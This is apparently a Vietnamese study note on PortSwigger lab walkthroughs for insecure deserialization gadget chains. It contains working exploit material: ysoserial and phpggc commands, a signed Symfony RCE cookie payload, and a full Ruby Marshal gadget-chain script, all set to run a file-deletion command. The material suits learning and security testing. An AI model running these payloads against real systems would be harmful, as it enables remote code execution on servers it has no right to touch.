Info

“Gadget” là một đoạn mã tồn tại trong ứng dụng có thể giúp kẻ tấn công đạt được một mục tiêu cụ thể.

Mục tiêu của kẻ tấn công có thể chỉ đơn giản là gọi một phương thức sẽ truyền đầu vào của họ vào một gadget khác. Bằng cách xâu chuỗi nhiều gadget lại với nhau theo cách này, kẻ tấn công có thể có khả năng truyền đầu vào của họ vào một “sink gadget” nguy hiểm, nơi nó có thể gây ra thiệt hại tối đa.

Trong thực tế, nhiều lỗ hổng deserialization không an toàn sẽ chỉ có thể khai thác được thông qua việc sử dụng các chuỗi gadget. Do đó, việc có thể xây dựng các chuỗi gadget là một trong những khía cạnh quan trọng để khai thác thành công deserialization không an toàn.

Working with Pre-built Gadget Chains

Có một số công cụ có sẵn cung cấp một loạt các chuỗi đã được phát hiện trước đó đã được khai thác thành công trên các trang web khác. Sử dụng các công cụ này để vừa xác định vừa khai thác các lỗ hổng deserialization không an toàn với tương đối ít nỗ lực.

Một công cụ như vậy cho deserialization Java là ysoserial.

Note

Trong các phiên bản Java 16 trở lên, chúng ta cần đặt một loạt các đối số dòng lệnh để Java chạy ysoserial. Ví dụ:

java -jar ysoserial-all.jar \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
   --add-opens=java.base/java.net=ALL-UNNAMED \
   --add-opens=java.base/java.util=ALL-UNNAMED \
   [payload] '[command]'

Không phải tất cả các chuỗi gadget trong ysoserial đều cho phép chúng ta thực thi mã tùy ý; một số phục vụ các mục đích khác:

  • Chuỗi URLDNS kích hoạt một DNS lookup cho một URL được cung cấp. Nó không phụ thuộc vào một thư viện dễ bị tấn công cụ thể và hoạt động với bất kỳ phiên bản Java nào, làm cho nó trở nên lý tưởng để phát hiện.
  • Chuỗi JRMPClient cũng giúp phát hiện bằng cách làm cho máy chủ cố gắng kết nối TCP đến một địa chỉ IP nhất định (không phải là tên máy chủ). Chuỗi này hữu ích trong các môi trường nơi tất cả lưu lượng truy cập ra ngoài, bao gồm cả DNS, đều bị chặn. Chúng ta có thể kiểm tra điều này bằng cách sử dụng cả địa chỉ IP cục bộ và bên ngoài: nếu phản hồi nhanh cho IP cục bộ nhưng bị trễ cho IP bên ngoài, điều đó có nghĩa là chuỗi gadget đã kích hoạt một nỗ lực kết nối đến địa chỉ bên ngoài, bị tường lửa chặn.

Hầu hết các ngôn ngữ thường xuyên bị các lỗ hổng deserialization không an toàn đều có các công cụ proof-of-concept tương đương. Ví dụ, đối với các trang web dựa trên PHP, chúng ta có thể sử dụng “PHP Generic Gadget Chains” (phpggc).

Lab: Exploiting Java Deserialization with Apache Commons

Cookie session ban đầu có định dạng sau:

rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACB3eHRlNjQ0ZGg1aDEzeTIxaDVpd3VleW90amFnNTl3MHQABndpZW5lcg%3d%3d

Như chúng ta có thể thấy, nó bắt đầu bằng rO0 nên đây là một đối tượng Java được tuần tự hóa.

Đầu tiên, hãy thử sử dụng ysoserial trong một Docker container:

docker run -it --rm ilyaglow/ysoserial CommonsCollections4 'rm /home/carlos/morale.txt' > payload.bin

Note

Việc lựa chọn payload CommonsCollections4 dựa trên Deserialization | HackTricks.

Viết một script để chuyển đổi sang mã hóa base64:

import base64
 
# Read the binary file
with open('payload.bin', 'rb') as binary_file:
    binary_data = binary_file.read()
 
# Convert to base64
base64_encoded_data = base64.b64encode(binary_data).decode('utf-8')
 
print(base64_encoded_data)

Lệnh để sử dụng:

python ./bin2base64.py ./payload.bin > payload.base64

URL-encode đầu ra và thêm vào bất kỳ request nào dưới dạng cookie session. Sau đó, gửi request và phản hồi có thông báo lỗi sau:

<p class=is-warning>
	java.io.StreamCorruptedException: invalid type code: 16
</p>

Câu trả lời này không được chấp nhận.

Sau đó, tải xuống sdk và cài đặt Java 11. Sau đó, chạy tệp ysoserial-all.jar với lệnh sau:

java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 > payload2.base64

Đầu ra hoàn toàn khác với đầu ra được tạo từ lệnh Docker.

URL-encode đầu ra, đặt vào bất kỳ request nào và sau đó gửi request.

Thông báo lỗi trong phản hồi khác:

<p class=is-warning>
	InstantiateTransformer: Constructor threw an exception
</p>

Nhưng đây là câu trả lời được chấp nhận.

Lab: Exploiting PHP Deserialization with a Pre-built Gadget Chain

Cookie đã giải mã ban đầu:

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2ampzc3hvMGU2dm83a29sbHAwcGU5dWI1bDNtcjV2ZSI7fQ==","sig_hmac_sha1":"d28c96c15d951cf05114ab9043e9b471b0d9d791"}

Trường token là đối tượng được tuần tự hóa:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vjjssxo0e6vo7kollp0pe9ub5l3mr5ve";}

Thử thay đổi username thành carlos và cập nhật trường token (mà không thay đổi chữ ký):

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2ampzc3hvMGU2dm83a29sbHAwcGU5dWI1bDNtcjV2ZSI7fQ==","sig_hmac_sha1":"d28c96c15d951cf05114ab9043e9b471b0d9d791"}

Phản hồi có thông báo lỗi này:

<h4>Internal Server Error: Symfony Version: 4.3.6</h4>
<p class=is-warning>PHP Fatal error:  Uncaught Exception: Signature does not match session in /var/www/index.php:7
Stack trace:
#0 {main}
  thrown in /var/www/index.php on line 7
</p>

Điều này cho thấy framework là “Symfony Version: 4.3.6”.

Thiết lập phpggc (xây dựng hình ảnh Docker) và tìm các chuỗi gadget:

docker run --rm phpggc -l symfony
 
Symfony/RCE4     3.4.0-34, 4.2.0-11, 4.3.0-7                             RCE: Function Call    __destruct      *
Symfony/RCE7     v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7    RCE: Function Call    __destruct
Symfony/RCE9     2.6.0 <= 4.4.18                                         RCE: Function Call    __destruct
Symfony/RCE10    2.0.4 <= 5.4.24 (all)                                   RCE: Function Call    __toString
Symfony/RCE11    2.0.4 <= 5.4.24 (all)                                   RCE: Function Call    __destruct

Thử tạo đối tượng được tuần tự hóa với chuỗi gadget của Symfony/RCE4 (và cũng mã hóa nó):

$ docker run --rm phpggc Symfony/RCE4 system 'rm /home/carlos/morale.txt' | base64 -w 0 > payload
$ cat payload
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjY6InN5c3RlbSI7fX0K

Tiếp theo, chúng ta cần tìm khóa bí mật để ký. Tìm đoạn mã sau từ endpoint /my-account:

<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->

Truy cập trang đó và tìm thấy một khóa bí mật dưới dạng một biến PHP:

bofbeeckm3k7mnxoo51qdnktco30sd1u

Sau đó, ký payload đã mã hóa:

$ cat payload | openssl sha1 -hmac "bofbeeckm3k7mnxoo51qdnktco30sd1u"
SHA1(stdin)= df1e8f4f08559f8c87a19cafcc12d39c27a1b21c

Xây dựng cookie:

{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjY6InN5c3RlbSI7fX0K","sig_hmac_sha1":"df1e8f4f08559f8c87a19cafcc12d39c27a1b21c"}

URL-encode, đặt vào request và sau đó gửi nó.

Working with Documented Gadget Chains

Có thể không phải lúc nào cũng có một công cụ chuyên dụng để khai thác các chuỗi gadget đã biết trong framework được ứng dụng mục tiêu sử dụng. Trong trường hợp này, luôn đáng để tìm kiếm trực tuyến để xem có bất kỳ exploit nào đã được ghi nhận mà chúng ta có thể điều chỉnh thủ công hay không.

Lab: Exploiting Ruby Deserialization Using a Documented Gadget Chain

Sao chép mã được sử dụng để tạo đối tượng được tuần tự hóa độc hại từ Universal Deserialisation Gadget for Ruby 2.x-3.x | devcraft.io:

#!/usr/bin/env ruby
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
 
# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end
 
wa1 = Net::WriteAdapter.new(Kernel, :system)
 
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
 
wa2 = Net::WriteAdapter.new(rs, :resolve)
 
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
 
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
 
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
 
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
 
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)

Thực hiện một số sửa đổi:

  1. Thay đổi lệnh từ id thành rm /home/carlos/morale.txt.
  2. Thay thế hai dòng cuối cùng bằng puts Base64.encode64(payload) để xuất ra định dạng mã hóa base64.

Bằng cách nào đó, tôi không thể chạy script bằng Ruby trên Kali-Linux WSL

$ ruby --version
ruby 3.1.2p20 (2022-04-12 revision 4491bb740a) [x86_64-linux-gnu]
 
$ ./gen-payload-devcraft.rb
/usr/lib/ruby/3.1.0/net/protocol.rb:450:in `initialize': wrong number of arguments (given 2, expected 1) (ArgumentError)                                            from ./gen-payload-devcraft.rb:15:in `new'                                                                                                                  from ./gen-payload-devcraft.rb:15:in `<main>'

Nhưng tôi có thể chạy nó trên Ubuntu-20.04 WSL:

$ ruby --version
ruby 2.7.0p0 (2019-12-25 revision 647ee6f091) [x86_64-linux-gnu]
 
$ ./gen-payload-devcraft.rb
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06
OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBp
b286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVh
ZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRl
YnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdl
bTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2Rf
aWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxl
LnR4dAY7DFQ7EjoMcmVzb2x2ZQ==

Sử dụng td để xóa ký tự cuối dòng:

echo "BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==" | tr -d '\n'
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==

URl-encode đầu ra và đặt vào request. Sau đó, gửi request.

Thông qua lab này, tôi cũng thử với:

  1. Ruby 2.x Universal RCE Deserialization Gadget Chain - elttam
  2. klezVirus/deser-ruby: Ruby Deserialization Payload Generator (github.com)
list
from outgoing([[Port Swigger - Gadget Chains for Insecure Deserialization]])
sort file.ctime asc

Resources